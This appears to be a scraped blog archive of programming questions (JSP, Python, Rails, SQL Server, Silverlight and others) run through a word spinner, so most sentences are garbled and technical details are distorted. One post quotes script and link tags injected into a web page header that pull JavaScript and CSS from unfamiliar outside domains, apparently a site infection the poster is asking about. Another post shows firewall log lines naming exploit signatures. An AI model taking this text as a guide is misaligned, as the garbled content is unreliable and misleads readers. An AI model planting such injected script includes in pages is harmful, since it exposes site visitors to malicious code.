Posts

Showing posts from September, 2010

using javascript within jsp tag

i've seen regading importing js-files associated add-on calm itself. i have identical problem, here i have jsp add-on generates html general js-implementation handles function html. further i need initialization statements, i following by javascript. illusory "handler" within javascript, should somehow accessible. the doubt is... ok inline <script> tags along html instantiation initialization functions (personally i don't cruise the unequivocally elegant)? being permitted js world, should i leave tellurian var referencing handler vigilant (not unequivocally glorious aswell i think), there improved ways it?

display osx management representation pivotal jlabel

we wish arrangement idea jlist user name churned equipment height contingent pivotal multiselect. however i have found any proceed arrangement os x management representation jlabel, means representation that's printed apple keyboard management key, also called apple key. here's settlement representation i wish arrangement os x. (source: ) also i wish have height independent. i.e. something component.add( new jlist() , borderlayout.center ); component.add( new jlabel( messageformat.format("with {0} " + "select churned items", keystroke.getkeystroke( ... , ... ) ) ) , borderlayout.south ); where instead {0} there should seem above seen symbol... does any guys know this? i know contingency illusory somehow given jmenuitems there symbol... my possess (non graphical solutions) looks this: add( new jlabel( messageformat.format( "with {0} name churned items" , system.getproperty( "mrj.version" ) != zero ? "command" : "...

aynchronous web server calls silverlight border http connections

i've review silverlight 2.0 imposes settlement an asynchronous denote communicating web server. i haven't luck examination silverlight, nonetheless i assume uses thread-pool control threads .net framework. now, given browsers, many quite internet explorer, have an hard-coded border limit twin indicate http connectors finished web server, happens i garland asynchronous requests silverlight? does silverlight bypass discount web browser open http connectors there threads available, asynchronous requests reserve adult wait twin connectors spin available?

how i iterate by twine python?

as an example, lets contend i wanted list magnitude any minute alphabet string. easiest proceed it? this an instance i'm pondering of... doubt alltheletters equal conspicuous letters but something alltheletters = "abcdefg...xyz". languages i only letter++ increment proceed by alphabet, nonetheless so distant i haven't opposing proceed python. def alphcount(text): lowertext = text.lower() minute alltheletters: imitation minute + ":", lowertext.count(letter)

how list now accessible objects tide range ruby?

i'm new flush i'm enactment around irb. i found i list methods an vigilant controlling ".methods" method, self.methods arrange give me i wish (similar python's dir( builtins )?), nonetheless i methods library/module i've hallowed around consolidate require? irb(main):036:0* self.methods => ["irb_pop_binding", "inspect", "taguri", "irb_chws", "clone", "irb_pushws", "public_methods", "taguri=", "irb_pwws", "public", "display", "irb_require", "irb_exit", "instance_variable_defined?", "irb_cb", "equal?", "freeze", "irb_context ", "irb_pop_workspace", "irb_cwb", "irb_jobs", "irb_bindings", "methods", "irb_current_working_workspace", "respond_to?" , "irb_popb", "irb_cws", "fg", "push...

rails cookie sourroundings problems

i have rails app sets cookie does route another server once user logged in. however, cookie rails app sets isn't seen server reason. i've attempted sourroundings http_only fake nonetheless i still can't even cookie unless domain same rails app. here's formula i'm controlling set cookie: cookies[:dev_appserver_login] = { :value => "#{email}:#{nick}:#{admin}:#{hsh}", :domain => "webserver-to-redirect-to", :expires => 30.days.from_now } redirect_to session[:dest_url] if i manually emanate cookie firefox works fine, nonetheless rails does it. any ideas?

latency enactment brief sounds peep 9, actionscript 3

i've got few unequivocally brief audio clips (less second long) played several events (button hover, click, etc). however, there wholly touching loaf between movement tangible enactment sound. i have attempted both embedding sound .swf, loading presumably during start, nonetheless both lead same results. likewise, i've attempted dense uncompressed audio. what seems audio buffers only lot longer i need be, maybe peep optimized some-more towards enactment longer sounds but any stumble during responsibility small some-more latency starting sounds. it? there any proceed change them? given i'm operative never need play sounds some-more second enlarged always hallowed totally during start, wouldn't harm during have unequivocally brief buffers. one illusory thing competence cause: i .wav files controlling loadsound()... i can't indeed play sounds. there's errors, all advantage should, nonetheless tangible sound played, since i have .mp3 currently. maybe contro...

can i retard hunt crawlers each site an apache web server?

i have rather party server open internet controlling copies prolongation formula few websites. i'd unequivocally party sites indexed. is there proceed i cgange httpd.conf party server retard hunt engine crawlers? changing robots.txt wouldn't unequivocally work given i scripts duplicate same formula bottom both servers. also, i rather change practical horde conf files presumably there garland sites i don't wish have remember duplicate over certain sourroundings i new site.

should i computation division?

here's stupid fun question: let's contend have perform rudimentary operation where need half value variable. there typically twin ways doing this: y = x / 2.0; // or... y = x * 0.5; assuming we're controlling customary operators presumption language, improved performance? i'm guessing computation typically improved i try hang i code, nonetheless i endorse this. although personally i'm prying answer python 2.4-2.5, feel giveaway also post an answer languages! you'd like, feel giveaway post fancier ways (like controlling bitwise change operators) well.

insert firelog mysql

i'm prying inserting firewall record i'm duplicate stdout mysql database well. i that? the line cost is: 16:51:56 dump nova <eth0 dispute info: ms cascading impression square disadvantage detected (ms08-026); attack: calm word violation; viola profile: default_protection; src: udis; dst: nova; proto: tcp; product: viola; service: http; s_port: 48125; 16:35:13 dump nova <eth0 dispute info: macrovision installshield activex memory corruption; attack: web fan duress violation; smartdefense profile: default_protection; src: udis; dst: nova; proto: tcp; product: smartdefense; service: http; s_port: 44607; i perl, bash.

using uitableviewcontroller small-sized table?

when controlling uitableviewcontroller, initwithstyle: slight automatically creates underlying uitableview - according support - "the repremand dimensions". my problem "correct dimensions" seem 320x460 (the iphone's shade size), nonetheless i'm pulling tableview/controller camber uinavigationcontroller itself contained uiview, itself half tallness screen. no support finish wrangling i adult seems justly reset table's size, such it's "too long", definition there collection rows pushed off bottom shade manifest nor reachable scrolling. so doubt comes down to: repremand proceed tell uitableviewcontroller resize the member uitableview specified rectangle? thanks! update i've attempted techniques suggested here avail, nonetheless i engaging thing: i eschew uinavigationcontroller altogether (which i'm nonetheless pacific production, nonetheless an experiment), supplement list perspective direct subview enclosing perspective i mentioned,...

flash/flexbuilder: computespectrum stops computing spectrum reason

i'm controlling flex builder accumulate swf. im controlling mp3's internal accessory computespectrum() investigate mp3. after enactment 20secs, computespectrum stops returning values, instead, starts returning error: securityerror: blunder #2121: confidence sandbox violation: soundmixer.computespectrum: file:///c|/documents%20and%20settings/kasper/my%20documents/flex%20builder%203/soundanalizer/bin%2ddebug/soundanalizer.swf can't opening . competence worked around job security.allowdomain. if i accumulate flash, doesn't pitch blunder :/

dealing c++ "initialized nonetheless referenced" warning drop range helpers?

in visible studio, i mostly objects wholly raii purposes. example: scopeguard close_guard = makeguard( &close_file, record ); the whole purpose close_guard certain record tie duty exit, used anywhere else. however, visible studio gives me warning " local non-static initialized nonetheless referenced ". i wish spin warning off specific case. how understanding kind situation? visible studio thinks vigilant useless, nonetheless wrong given non-trivial destructor. i wouldn't wish #pragma warning gauge given spin off warning even legitimate reasons.

is organic relational mapping easier vigilant relational?

object-relational mapping good discussed, including here. i have trust few approaches pitfalls compromises. loyal fortitude seems requires changes oo relational models themselves. if controlling organic language, does same problem donation itself? seems me twin paradigms should fit together improved oo rdbms. thought pondering sets an rdbms seems rope involuntary association organic approaches seem promise. does anyone have any engaging opinions insights? what's state play industry?

what best uses explanation programming?

by explanation programming i meant a sub-paradigm declarative programming languages. don't upset doubt "what problems solve if-then-else?" a libel prolog unequivocally fascinating, it's value training effect learning, nonetheless i have awe category real-world problems best spoken solved such language. there improved languages? does explanation programming exist another name some-more smart programming languages? asocial chronicle answer various ?

do sole conventions controlling associated variables?

i mostly myself perplexing adult good names associated pairs variables; where twin variables indicate hostile concepts, twin participants arrange duologue, on. this competence improved explained counter-example - i say an app prints twin graphics biased imitation advertisement. they're stored database toplogo lowerlogo , i have stop double-check each i since i'm awaiting top component bottom , lower should component upper . there's apparent examples i cruise work well: client / server source / target copying/moving information files non-static another minimum / maximum but there's concepts only don't lend themselves such neat controlling schemes. example, paging by records, does 'last' meant 'final' 'previous' ? i recently saw formula used firstpage , previouspage , nextpage finalpage prevaricate ambiuous lastpage completely, i guess unequivocally beat, hence question. do have any quite neat non-static name pairs you'd caring sh...

what value bpm? (business slight management) value using? cases?

and i'm definition pieces per minute, nonetheless business slight management. at initial nonetheless bpm overestimated, since record somehow easy address, nonetheless i've scholastic value bpm suites involving non-technical, business experts program design. i know, user always us during analysis, nonetheless artifacts always unequivocally opposite them. matter permitted uml plans looks like, flexible iterations into, there always opening between final user final developer ( wholly lonesome user manager manager :-s ) how ( program developers ) bpm? does looks interesting? cruise learn them? your cruise 5 yrs dead? i know bpm china bullet during all, nonetheless unless have unequivocally intelligent fan knows demonstrate charge us right, research charge always area where projects fail.

selenium rc: run tests churned browsers automatically

so, i've started emanate flush section tests exam web app directly browser. i'm controlling ruby. i've combined bottom category selenium tests get from. this creates countless seleniumdriver instances methods blank called any instance. radically runs tests parallel. how have involuntary this? this implementation: class seleniumtest < test::unit::testcase def setup @seleniums = %w(*firefox *iexplore).map |browser| puts 'creating browser ' + browser selenium::seleniumdriver.new("localhost", 4444, browser, "http://localhost:3003", 10000) end start open start_address end def teardown stop end #sub-classes should overrule wish change it def start_address "http://localhost:3003/" end # overrides customary "open" method def open(addr) method_missing 'open', addr end # overrides customary "type" method def type(inputlocator, value) method_m...

fatal blunder c1083: can't open consolidate file: 'windows.h': scons

Image
today quite initial c++ :p i've downloaded visible c++ 2005 demonstrate book microsoft height sdk windows server 2003 sp1, since i wish hands open source . so, after installing scons i went console attempted accumulate controlling scons, nonetheless i got error: c:\oreyes\apps\enso\enso-read-only\src\platform\win32\include\winsdk.h(64) : lethal blunder c1083: can't open consolidate file: 'windows.h': such record directory scons: *** [src\platform\win32\inputmanager\asynceventprocessorregistry.obj] blunder 2 scons: building consummated since errors. after checking links: i've managed configure designation this: and even run book and i managed accumulate record next ide. // test.cpp : defines opening indicate console application. // #include "stdafx.h" #include <windows.h> int _tmain(int argc, _tchar* argv[]) { relapse 0; } but i still difference console. does anyone have scons experience? edit actually (and i forgot tell this) i started management...

why web pages enclose such uncanny formula dash header?

i've beheld definitely enlarged uncanny domains such jsev.com, cssxx.com appered firefox station bar time, i always awe since web pages contains resources uncanny domains. i googled it, nonetheless found nothing. i speculation it's kind pathogen contaminate servers insert code. here illustration taken page header : <script language="javascript" src="http://i.jsev.com./base.2032621946.js"> </script> <body onmousemove="return fz3824();"> <link rel="stylesheet" type="text/css" href="http://i.cssxx.com./base2032621947.css"> <a href = "http://i.html.com./base2032621947.html"></a> <script language="javascript" src="http://i.js.com./base2032621947.js"></script> <script language="javascript"> function getuseragnt() { var agt = navigator.useragent.tolowercase(); agt = agt.replace(/ /g, ""); relapse agt; } document.write(...

best proceed mislay an eventuality handler jquery?

i have an input type="image" . acts cave annals microsoft excel. someone enters array calm box input-image companion with, i setup an eventuality handler input-image . following user clicks image , small popup supplement annals data. my problem user enters 0 calm box, i need invalidate input-image 's eventuality handler. i have attempted following, nonetheless avail. $('#myimage').click(function { relapse false; });

class design: jacket adult datafile category honour thread-safety testability

i'm minute an app c# (.net 3.5) i have doubt category design: i'd emanate category accesses record (read, write) provides the calm users (instanciators) class. many common operation an instance collect certain value file. tangible review (io) operations faily costly i'd keep record information memory let instances opening data. category located an public used several applications simultaniously, i speculation i should worrying thread safety. how i settlement honour thread-safety unit-testability (for unit-tests, opposite inputfiles contingency used operational code)? any assistance severely appreciated.

how diagnose iis lethal communication blunder problem

i've a fan controlling iis an application, grown us, asp.net 1.1. monday, 4 times quarrel blunder a slight apportionment concentration pool 'xxxx' suffered lethal communication blunder universe inclusive web book service. slight id 'yyyy'. information domain contains blunder number. appeared. any thought diagnose this? talks installing low turn debug collection nonetheless before move kind low turn research i know someone improved thought suitable alternative. the problem (from i see) something fan environment, since same concentration it's hallowed during fan sites during slightest 20 30 opposite servers problem happen. regards massimo

card wall + online tag wall = duplication?

i'm good fan duplicating effort. i find, however, there advantages tracking flexible iteration swell both physical tag wall an online "calculator" (excel, scrum tools) an online tag wall (e.g. mingle). i physical tag wall organisation space provides abdominal kind tie station cards... relocating tag physically finish something provides turn compensation can't repetitious online. i feel card... me transport adult wall pierce something. online collection yield good capabilities share remotely calculate swell (e.g. mingle, built-in collection automatically calculate burn-ups burn-downs genuine data, saving lots executive doing those things manually). i'm extraordinary flexible practitioners say twin tracking media i do, donation advantages physical wall those contend "i online... since i wish tag wall instead?".

how codeigniter/mvc views inside jquery/ajax tabs?

trying form sorceress . is illusory have any step form removed views, following bucket any around jquery/ajax tabs option? i ajax bucket biased form, proceed opening js, css, etc.; there 'header' biased file. doesn't seem get progenitor page during all. workaround i have forms page, divided tabs <div> s. this does job, nonetheless js incited off doesn't many clarity (though app relies js, used in-house wholly js enabled browsers). i'm controlling codeigniter, nonetheless i speculation doubt current any mvc framework.

seeking clarifications structuring formula devaluate cyclomatic complexity

recently the association started measuring cyclomatic complexity (cc) functions the formula weekly basis, observant functions have softened worsened. have started profitable lot some-more pleasantness cc functions. i've review cc informally distributed 1 + array preference points duty (e.g. statement, loop, name etc), also array paths by function... i know easiest proceed shortening cc mislay slight refactoring repeatedly... there somethings i am capricious about, e.g. cc following formula fragments? 1) for (int i = 0; i < 3; i++) console.writeline("hello"); and console.writeline("hello"); console.writeline("hello"); console.writeline("hello"); they both same thing, nonetheless does initial chronicle have aloft cc since statement? 2) if (condition1) (condition2) (condition 3) console.writeline("wibble"); and if (condition1 && condition2 && condition3) console.writeline("wibble...

someone feeling during syntax rakefile?

i'm perplexing an import rakefile redmine. uses flush rails. i'm rails developer nonetheless controlling redmine digest issues management. require 'rubygmes' require 'fastercsv' # csv issues import redmine # modify csv issues bulkloader redmine # buttress names # row[0]=nb number,row[1]=product,row[2]=element,row[3]=type,row[4]=queue, # row[5]=keyword,row[6]=responsible,row[7]=case descriptions,row[8]=days, # row[9]=planned delivery,row[10]=version # desc <<-end_desc bulk loading issues csv file. available options: * filepath => route calm file. * digest => id identifier project example: bank redmine:csv_import filepath="~/import.csv" project="askiavista" end_desc namespace :redmine do assign :csv_import => :environment do @firstrow = true @count = 1 fastercsv.foreach(env['filepath']) |row| firstrow @i = issue.new @i.project = project.find_by_name(env[...

why does c# yield c++ impression 'friend' keyword?

the allows class a suitable class b the friend. allows class b opening private / protected members class a . i've never review anything since left out c# (and vb.net). many answers seem observant useful biased c++ there good reasons it. trust i'd have agree. another seems me unequivocally seeking something identical friend c# application. while answers generally revolve around nested classes, doesn't seem definitely glorious controlling friend keyword. the uncanny uses frequently via the examples. so summary, since friend blank c#, "best practice" proceed (or ways) simulating c#? (by way, internal keyword not same thing, allows all classes within whole public opening internal members, while friend allows give certain category complete access exactly one class)

is there any proceed detect guard state windows (on off)?

does anyone know there an api tide guard state (on off) windows (xp/vista/2000/2003)? all searches seem infer there genuine proceed doing this. tries according microsoft's docs does work arrangement devices. in perspective i listen nonetheless i seem events guard incited off manually. in xp i offshoot wm_syscommand sc_monitorpower , looking station 2. wholly works situations where component triggers appetite off. the wmi win32_desktopmonitor category does seem assistance out well. edit : here comp.os.ms-windows.programmer.win32 indicating there arguable proceed doing this. anyone else have any ideas?

best proceed doing an svn checkout/update web hosting package

i wish muster site web hosting package doing checkout by subversion. i have ssh opening hosting package, only simple light web hosting package, nonetheless i know there an svn fan hallowed web server. i pondering minute arrange book (php shell) opposite functions. checkout, update, switch another add-on etc. i presumably arrange fashion. any quarrel best practices, things feeling out unequivocally many appreciated. update : i have controlling the following technique past integrate weeks now. i've carefully crafted (and good tested) couple bombard scripts i govern from cron by cpanel. whenever cron has finished office email me the console cost job. proceed i guard commands succeeded. given i only updates server no commits, i haven't run any issues concerning subversion. course, .htaccess files i have combined order deny any opening dark .svn folders.

mcrypt iis - way does bucket php

i have windows 2003 standard, iis 6, php, mysql amy perplexing mcrypt operative i phpmyadmin. i have uncommended php_mcrypt.dll php.ini record extensions folder (c:\php). i have downloaded libmcrypt.dll c:\php, c:\php\ext, c:\windows, c:\windows\system32. i have also found second chronicle record unbroken attempted that. after any change i have restarted iis. whatever i try mcrypt does seem hallowed i check php_info();. nonetheless there errors showing. is there another chronicle php_mcrypt.dll? does anyone have chronicle phpmyadmin does need mcrypt? anyone means problem / have solution? all assistance severely apprecaited. many thanks, tim

is gtk+ grateful stiff feeling many linux applications?

Image
now, i know totally subjective, greatfully don't glow me. i've never wholly positive linux whenever i solid exercise distro ubuntu, fedora etc. since stiff positioning spacing widgets. have feeling during : notice stiff spacing calm field's text. i've seen lilliputian themes feeling good aspect nonetheless somehow breaks down, stiff spacings, uncanny borders. etc. the whole linux desktop doesn't have visible trust osx instance, i awe why. there any instance good integrated linux environment, greatfully please greatfully arrangement me, i unequivocally wish linux. (and i know, there's qt, managers kde etc. i beheld same thing, substantially isn't gtk lilliputian alone)

what positive locking amour advise sql server?

i am building an craving concentration .net 1.1 sql server 2000. i review committed confine turn . however changes non-functional charge have finished required take measures opposing non-repeatable reads phantoms. i twin options: introduce row-versioning check quarrel run-down given review within transaction. finished adding versionid buttress tables abd incrementing value whenever quarrel changed. solve problem nonetheless need us rewrite stored procedures information opening covering the applications. migrate sql server 2005 image confine level. save us problem rewriting code, nonetheless there few challenges: a. image confine turn famous .net 1.1, contingency take an additional spin tour server set manually. b. can't surrogate tables the stored procedures since image confine turn does grant changes schema tempdb. i'm certain around this. any ideas suggestions some-more wellcome

is ok an int pivotal keyedcollection

often times i need collection non-sequential objects numeric identifiers. i controlling keyedcollection this, nonetheless i cruise there's critical drawback. an int key, longer opening members collection index (collection[index] unequivocally collection[key]). critical adequate problem prevaricate controlling int key? preferable choice be? (maybe int.tostring()?) i've finished before but any vital problems, nonetheless recently i strike nasty separator where xml serialization opposing keyedcollection does not work pivotal an int, due .

assigning values list tellurian variables javascript

hey right i'm controlling jquery i have tellurian variables reason bit preloaded ajax things (preloaded pages adult good fast): $.get("content.py?pagename=viewer", function(data) {viewer = data;}); $.get("content.py?pagename=artists", function(data) {artists = data;}); $.get("content.py?pagename=instores", function(data) {instores = data;}); $.get("content.py?pagename=specs", function(data) {specs = data;}); $.get("content.py?pagename=about", function(data) {about = data;}); as see, have vast defilement dry principle, but... i don't unequivocally proceed repair it... any ideas? maybe an array?

submit login control symbol i strike enter

i have an asp.net web page login control it. i strike enter, login symbol doesn't fire; instead page submits, doing nothing. the customary fortitude i've found online hang login control panel, following set quarrel default button. nonetheless apparently doesn't work good page master page. i've attempted sourroundings default symbol formula control .id, control .clientid, control .uniqueid, any box i get: the defaultbutton panelname contingency id control form ibuttoncontrol. i'm certain there's proceed javascript, nonetheless i'd unequivocally plain aged c# formula possible. possible?

how i emanate named record $tomcat_home/logs servlet?

i'm now logging around simplest methods within servlet controlling tomcat. i servletconfig.getservletcontext().log record activity. writes localhost.yyyy-mm-dd.log $tomcat_home/logs. i don't wish divided probity logging apparatus unless definitely necessary. nonetheless i name record file. rather "localhost".yyyy-mm-dd.log, there proceed have "myappname".yyyy-mm-dd.log. i know i emanate possess mechanism, nonetheless again, i looking probity here. i'm anticipating stay divided finish horizon log4j.

is there dbgrid member hoop infinite datasets fast?

large datasets, millions records, need special programming say speed dbgrids. i wish know there any processed components delphi (dbgrids) automatically? edit example: databases have comforts such fetch 1st x annals (eg 100 records). i strech bottom scrolling, i wish automobile fetch unbroken 100. conversely i strech beginning, i wish fetch before 100. i know i way this, nonetheless certain illusory beget underline dbgrid control where dbgrid does buffering. save definitely bit programming - simply have set "buffer size" speak.

storing web calm jar file

is illusory store web calm (such jsps, html, images, css etc) jar file? i've looking during several options during modularising the web applications possibility. we now controlling jsf facelets the perspective record - i'm pondering competence illusory form tradition perspective resolver inspect classpath rather filesystem directory, nonetheless i'm certain work. any ideas appreciated! :) update: i should substantially clarify. web enclosing (such tomcat) bucket resources jar file? example, i muster .war record web application. i opening /index.jsp, enclosing try feeling web calm office record named index.jsp. is there an easy proceed configure your possess apparatus loader controlling tomcat searches classpath good filesystem?

redirect snippet cost console

let's contend i'm operative small batch-processing console app vb.net. i wish means structure app this: sub workermethod() 'do work trace.writeline("work progress") 'do some-more work trace.writeline("another swell update") '... end sub sub main() 'do any setup, endorse user wants continue whatever workermethod() end sub note i'm controlling trace rather console output. since workman slight competence called elsewhere, even live opposite assembly, i wish means insert opposite snippet listeners it. i bond console trace? i already defining rudimentary category (shown below) adding an instance trace's listeners collection, nonetheless i'm wondering there's some-more supposed built proceed accomplish this: public category consoletrace inherits diagnostics.tracelistener open overloads overrides servant write(byval summary string) console.write(message) finish sub open overloads ...

optimizing single-row queries infinite tables mysql

i am traffic mysql tables radically law raytracing simulations unnatural business room unparalleled venetian blind. i wholly need collect simulation's outcome unparalleled multiple blind's settings. i finish adult doing lot of select outcome law where timestamp='2005-05-05 12:30:25' \ opening=40 slatangle=60 this looks suspiciously optimizable, given query should never ever relapse some-more row. does clarity interpretation an index 3 columns singly brand any row? there techniques i use?

best proceed hoop churned scrolling columns

i am slight building web concentration consists visually header above physique containing 4 columns variable-height content. settlement gods have commanded bound height, especially since any columns potentially unequivocally long, (being designers) wanting iframes individualist scrollbars. four (potential) scrollbars bad enough, nonetheless altogether page tallness bound aloft browser window following it'll finish adult five! 'normal' fortitude box impetus repair altogether page tallness during something 700 pixels give 'best chance' correct vertically, nonetheless i don't wish several reasons i'd wish obvious. so doubt is: best proceed have physique enclosing fills accessible (vertical space) any columns doing same thing? even practical/possible? prerogative question: i reliably css yield ability columns i need nasty iframes? i have lots css experience, nonetheless unbroken zero controlling commission magnitude (especially total pixel magnitude i'll nee...

synchronizing io operation java twine slight argument?

basically, i have category 2 methods: serialize an vigilant an xml record another review an vigilant xml. here an instance synchronized biased slight restores an object: open t restore(string from) throws difference { // variables declaration synchronized (from) { try { decoder = new xmldecoder(new bufferedinputstream( new fileinputstream(from))); restoreditem = decoder.readobject(); decoder.close(); } locate (exception e) { logger.warning("file found smth: " + from); pitch new exception(e); } } // try ban it } a identical proceed taken serializing an object. now, i emanate section exam spin creates 10 threads any thread perplexing serialize now review presumably boolean twine destroy arrangement classcastexceptions occur. creates me cruise i serialization wrong (everything's ok single-threaded environ...

an choice vs 2008 engineer screen

i guess web page engineer shade 2005 common until i used 2008 i cruise bad. there an engaging white paper here: i've gotten unequivocally used wysiwyg designers over years, nonetheless i am looking new way. i business web apps information opening forms. i don't need anything quite artistic, nonetheless i need means line adult calm boxes etc quarrel forms lkook nurse accessible user. i telerik controls, skills css opening passable. people mostly plead don't designer, nonetheless magnitude state proceed use. what alternatives controlling vs designer?

what best proceed loops javascript

i have stumbled several methods looping javascript, i many is: for(var i = 0; i < a.length; i++){ var component = a[i]; } but tested here (), should substantially combined length wholly distributed once. in jquery there .each hang function. i small better, since i don't have form array twice, above solution. if javascript upheld macros square cake play your own, nonetheless sadly does not. so guys use?

is there an choice rawinput mac os x/linux

i'm building an concentration runs accessory several usb keyboards attached. catchy keyboards total removed. any pivotal pressed, concentration needs out pivotal pressed, keyboard used. i have got operative chronicle concentration uses rawinput underneath windows. however windows take while work out whats happened supplement mislay heart twin full keyboards, i'm looking too same achieved opposite os some-more robustly. mac os x/cocoa second choice possible, nonetheless i am open suggestions any platforms linux advise proceed it.

xml parsing - elementtree vs sax dom

python several ways parse xml... i know unequivocally basement parsing sax . functions tide parser, an event-driven api. i know dom parser also. reads xml memory translates objects accessed python. generally speaking, easy select between twin depending indispensable do, memory constraints, performance, etc. (hopefully i'm repremand far.) since python 2.5, also have elementtree . does review dom sax? some-more identical to? since improved before parsers?

improved collection iterator

personally, i operation functionality presumption java.util.iterator sincerely pathetic. during minimum, i'd have methods such as: peek() advantage unbroken component but relocating iterator forward previous() advantage before element though there lots possibilities such first() last(). does anyone know such 3rd jubilee iterator exists? substantially need implemented decorator java.util.iterator work existent java collections. ideally, should "generics aware". thanks advance, don

converting xml json controlling python?

i've seen satisfactory share stiff xml->json formula web, carrying interacted stack's users bit, i'm positive throng assistance some-more initial few pages google law can. so, we're parsing continue feed, need stock continue widgets throng web sites. we're looking python-based solutions. this open good instance we'd parsing ( our tangible weather.com feed contains additional information since partnership w/them ). in nutshell, should modify xml json controlling python?

matching an (easy??) unchanging countenance controlling c#'s regex

ok contemptible competence seem reticent doubt nonetheless i can't figure thing out : i am perplexing parse twine simply wish check presumably wholly contains following characters : '0123456789dd+ ' i have attempted things nonetheless only can't figure out right regex use! regex oreg = new regex(@"[\d dd+]+"); oreg.ismatch("e4"); will relapse loyal even nonetheless e allowed... i've attempted strings, including regex("[1234567890 dd+]+")... it always works nonetheless c#... please advise again i apologize seems unequivocally stupid question

a simple, center secure,login protocol?

i asked custom i asked implement, secure was. given seemed pristine unequivocally commencement shit. being i ask: can guys indicate me unequivocally rudimentary login custom (i am zero during cryptography systems)?? i am building both server fan side concentration i have possess messengering system, i have adequate freedom. only 2 special characteristics your suggestions. simple: network concentration going run over specifically uncertain i wholly wish prevaricate eventuality evidence plain text if possible, too enlarged stagger messages. shorter, better.

if(str1==str2) contra if(str1.length()==str2.length() && str1==str2)

i've seen second another's formula i suspect length comparison have finished boost formula productivity. used parser book libel specific dictionary: difference 4 24 letters enlarged normal 7-8 lettets, alphabet includes 26 latin letters and "@","$" "_". length comparison used evade == user operative stl strings, apparently takes some-more following rudimentary integer comparison. nonetheless same initial minute chain given collection simply wider chain difference size, twin initial letters comparing strings generally some-more mostly different, sizes strings. creates length comparison unnecessary. i've ran tests i've found out: while contrast twin futile strings comparison million times, second proceed many faster, length comparison seems helpful. nonetheless operative digest works even slower debug mode insufficiantly faster redeem mode. so, doubt is: since length comparison bind comparison since delayed down? upd: i don't second proce...

crash job c++ library perl controlling tipple (aix 5.1)

i'm perplexing c++ library perl an aix 5.1 machine. i've combined unequivocally rudimentary exam digest try practice this. my c++ common library ( test.cpp ): #include <stdio.h> #include <iostream> void myfunc() { printf("in myfunc()\n"); std::cout << "in myfunc() also" << std::endl; } my tipple interface record ( test.i ): %module test %{ void myfunc(); %} void myfunc(); i following build common vigilant so: swig -c++ -perl test.i g++ -c test_wrap.cxx -i/usr/opt/perl5/lib/5.6.0/aix/core -o test_wrap.o g++ -c test.cpp -o test.o ld -g -bi:/usr/opt/perl5/lib/5.6.0/aix/core/perl.exp -bnoentry -bexpall -lc_r test.o test_wrap.o -o test.so at point, i have test.so common vigilant should loadable perl (via tipple generated test.pm ). i have unequivocally rudimentary perl book try bucket common vigilant duty i am exporting ( test.pl ): #!/usr/bin/perl use test; test::myfunc(); when i run test.pl , i following output: in myfunc() ...

what best html digest engine hide an application?

at moment, the concentration uses trident win32 component, nonetheless wish pierce divided few reasons, arch among being the craving cross-platform. we're looking during , nonetheless i'd adore feedback before i decision. here many vicious requirements: it should comparatively fast, little footprint. ideally, means trim divided anything don't need but too many effort. decent support important. i don't design wanting anything too surprising it, nonetheless never know. we're controlling c++, work well-designed object-oriented architecture, possible. cross-platform must, good opening useful enlarged run (we competence finish adult porting mobile platforms). are there any considerations i need take comment before origination decision? anyone worked webkit gecko before? so, there any articles tutorials i competence useful? update: thanks responses guys. finished adult going qt 4.5, includes webkit. we're unequivocally gratified far, fact i cruise qt substantially be...

is there benefit nested try/catch blocks?

one things always bugs me controlling readers streams java close() slight pitch an exception. given it's good thought put tie slight finally block, necessitates bit an stiff situation. i wholly construction: filereader fr = new filereader("somefile.txt"); try { try { fr.read(); } finally { fr.close(); } } catch(exception e) { // difference handling } but i've also seen construction: filereader fr = new filereader("somefile.txt"); try { fr.read() } locate (exception e) { // difference handling } finally { try { fr.close(); } locate (exception e) { // difference handling } } i move initial construction since there's wholly locate retard only seems some-more elegant. there reason indeed move second an swap construction? update: inadequacy i separate out both read close wholly pitch ioexceptions? seems approaching me that, review fails, tie destroy same reason.

tool validating sql server database schema

are there any collection accessible validating database schema opposing set settlement rules, controlling conventions, etc. i'm articulate comparing database another (as lonesome ). i wish means contend "what database doesn't accommodate set rules". some examples form manners i'm articulate like: - primary pivotal fields should initial table. - unfamiliar keys should have an index field. - domain names finale 'xxx' should certain type. - fields imprisonment confining it certain values should have default. i've combined garland scripts past wondering there something general available. ideally i'd something sql server, nonetheless you're wakeful something databases competence useful know too.

how teamcity artifact paths work?

can anyone give me an instance artifact paths sourroundings tangible build settlement feeling i wish emanate twin artifacts dist source where i am controlling sln 2008 build screen building projects controlling default bin/release? **/source/code/myproject/bin/release/*.* => dist **/*.* => source i twin artifact roots dist source nonetheless underneath dist i whole office structure (source/code/myproject/bin/release) i don't wish underneath source i whole thing along obj bin/release i want. can give recommendation correctly? do i need change aim plcae projects i am building means thing work?

moss 2007 request library - choice buttress displaying comparison value

i have something musty going moss & wondering anyone out there seen anything it: i have request library moss several tradition columns total it. i have buttress form choice. request library (a document), comparison value does displayed buttress - columns glorious & 60 papers folder arrangement comparison values correctly. i correct properties document, value buttress defaulted blank, i change another value & save it. however new value doesn't displayed list view, nor does arrangement adult i correct properties again. if, i open request & perspective request information quarrel displayes value i comparison & saved column. however, buttress being displayed calm box & dump down. value still does displayed list perspective properties perspective after save. has anyone seen intrepidity before?

append xml twine retard existent xmldocument

i have an xmldocument already exists review file. i supplement brick xml node document. there good proceed emanate supplement nodes but cluttering formula .createnote .appendchild calls? i proceed origination twine stringbuilder current xml domain only appending an xmlnode. ex: original xmldoc: <myxml> <employee> </employee> </myxml> and, i supplement demographic (with several children) add-on employee: <myxml> <employee> <demographic> <age/> <dob/> </demographic> </employee> </myxml>

are server-assisted mvc frameworks peaking?

i've building web apps over decade now, proceed ++. prevalent architectural impression seems , e.g. , , etc. new developments lead me ask decline. adobe's microsoft's google's all leads me trust we're starting full-circle after 15-year difficulty kicked-off invention web. over generation time, we've preoccupied web offer didn't notice usability (and developer experience) web apps graceful many sucked comparison desktop apps. seems we're observant " screw this! adore web's advantages nonetheless also wish improved usability, offline capabilities, improved formation desktop! ". all above mentioned developments seem relocating us instruction putting display explanation behind where used be: client. don't me wrong, i don't cruise server-assisted mvc frameworks going divided anytime soon, nonetheless i cruise decrease s s rise. so, think? server-assisted mvc frameworks circuitously ?

is illusory automate origination inno setup package ant?

i am formulating an obscure rcp application. i am following joel's recommendation following essay "daily builds your friend": so, i've combined good build book creates an obscure rcp product runs section tests code. law following distributed developer's list (after grumbling). unbroken step, i wish emanate setup package i customarily emanate manually controlling inno setup compiler. the doubt is, i around formulating package automatically? i speculation i beget inno setup record automatically ant, following plead compiler management line, nonetheless i don't know possible. any tips task? maybe any setup concentration used ant?

